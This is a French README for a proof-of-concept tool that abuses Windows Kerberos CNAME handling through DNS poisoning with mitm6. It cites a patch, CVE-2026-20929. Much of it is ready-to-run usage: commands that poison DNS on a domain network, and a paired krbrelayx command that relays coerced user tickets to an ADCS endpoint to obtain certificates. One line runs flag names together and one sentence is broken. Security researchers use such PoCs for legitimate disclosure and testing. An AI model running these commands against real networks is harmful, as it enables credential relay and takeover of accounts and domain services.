
PoC d'abus de CNAME Kerberos
Cet outil est la preuve de concept de la technique de relais d'abus CNAME Kerberos, basée sur l'outil MITM6.
La recherche a mis au jour une faille dans le comportement du client Kerberos Windows : lorsqu'un enregistrement DNS CNAME est retourné, le client suit l'alias et construit la requête TGS en utilisant le nom d'hôte CNAME comme SPN. Cela permet à un attaquant en position DNS MITM de contraindre tout utilisateur du domaine à demander un ticket Kerberos pour un service choisi par l'attaquant, permettant des attaques de relais à la demande, inter-protocoles, contre SMB, HTTP et d'autres services où la signature ou le Channel Binding n'est pas appliqué.
Contrairement aux techniques de relais Kerberos précédentes qui étaient limitées aux comptes machines ou nécessitaient des conditions spécifiques, cette méthode fonctionne de manière fiable contre les comptes utilisateurs sur les configurations Windows par défaut. Microsoft a atténué le risque en appliquant un correctif pour imposer le CBT sur https et activer la signature par défaut pour les protocoles concernés. Le correctif est référencé comme CVE-2026-20929. Pour tous les détails techniques, la démonstration d'exploitation et l'analyse d'impact, voir le billet de blog chez Cymulate.
Utilisez --cname-source pour cibler un domaine spécifique que la victime tente d'accéder, ou pour empoisonner toutes les requêtes DNS. Les deux nécessitent pour spécifier le nom d'hôte cible qui sera utilisé dans la réponse CNAME (la victime demandera alors un TGS pour ce nom d'hôte).
--cname-source-all--cnameLe drapeau --only-dns désactive le serveur DHCPv6 original de mitm6 et la fonctionnalité d'annonce de routeur. Cela permet de combiner l'empoisonnement CNAME avec d'autres techniques MITM comme l'empoisonnement ARP.
L'option --passthrough accepte un fichier contenant des domaines qui doivent résoudre vers leurs vraies adresses IP (format : domain:ip par ligne). Utile pour maintenir la connectivité à une infrastructure critique comme les contrôleurs de domaine (expérimental).
pip install -r requirements.txt
Empoisonner toutes les requêtes DNS avec un CNAME pointant vers la cible de relais :
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
Empoisonner uniquement les requêtes pour un nom d'hôte spécifique :
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
Ignorer DHCPv6/RA lors de l'utilisation de l'empoisonnement ARP pour le MITM DNS :
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# Terminal 1 : empoisonnement CNAME
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# Terminal 2 : relais vers ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
Cet outil est une preuve de concept non destinée à la production, fournie à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le à vos risques et périls et uniquement contre des systèmes pour lesquels vous avez une autorisation explicite de tester.
MIT